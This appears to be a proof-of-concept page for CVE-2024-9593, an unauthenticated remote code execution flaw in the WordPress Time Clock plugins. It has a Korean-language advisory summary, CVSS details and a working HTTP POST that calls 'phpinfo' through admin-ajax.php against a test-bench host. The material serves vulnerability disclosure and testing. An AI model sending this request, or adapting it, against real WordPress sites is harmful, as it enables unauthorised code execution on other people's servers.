randomrobbiebf/cve-2024-9593Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - 인증되지 않은 (제한된) 원격 코드 실행
Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - 인증되지 않은 (제한된) 원격 코드 실행
WordPress용 Time Clock 플러그인 및 Time Clock Pro 플러그인은 버전 1.2.2 (Time Clock) 및 1.1.4 (Time Clock Pro)까지, 'etimeclockwp_load_function_callback' 함수를 통해 원격 코드 실행에 취약합니다. 이를 통해 인증되지 않은 공격자가 서버에서 코드를 실행할 수 있습니다. 호출된 함수의 매개변수는 지정할 수 없습니다.
Published: 2024-10-18 00:00:00
CVE: CVE-2024-9593
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
CVSS Score: 8.3
Slugs: time-clock-pro, time-clock
POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
function=phpinfo